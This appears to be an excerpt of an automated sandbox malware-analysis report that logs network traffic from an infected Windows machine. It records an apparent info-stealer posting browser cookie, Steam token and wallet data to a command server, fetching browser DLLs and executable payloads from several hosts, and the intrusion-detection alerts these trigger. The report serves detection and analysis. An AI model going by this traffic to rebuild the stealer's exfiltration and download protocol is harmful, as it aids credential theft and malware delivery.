66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IJDHDGDAAAAKFIDGHJDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHIEBKKFHIEGCAKECGHHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHIEBKKFHIEGCAKECGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 2d 2d 0d 0a Data Ascii: ------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file"------AFHIEBKKFHIEGCAKECGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAECGCGHCGHCAKECBKJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="file"------DAECGCGHCGHCAKECBKJK--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIEGDBAEBFIIDHJJJEBHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKEBFCFIJJKKECAKJEHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="message"wallets------CAKEBFCFIJJKKECAKJEH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="message"files------EGCFHDAKECFIDGDGDBKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file"------AFBFHDBKJEGHJJJKFIIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 2d 2d 0d 0a Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="message"ybncbhylepme------CGCFCFBKFCFCBGDGIEGH--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGCBGDBKJKFHIECBAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 2d 2d 0d 0a Data Ascii: ------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EHJDGCBGDBKJKFHIECBA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 34 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017408001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 34 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017409001&unit=246122658369

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 172.67.179.109 172.67.179.109

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49744 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49759 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49801 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49890 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49909 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49907 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49916 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49925 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49929 -> 172.67.180.113:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Code function: 5_2_6C4BCC60 PR_Recv,

5_2_6C4BCC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
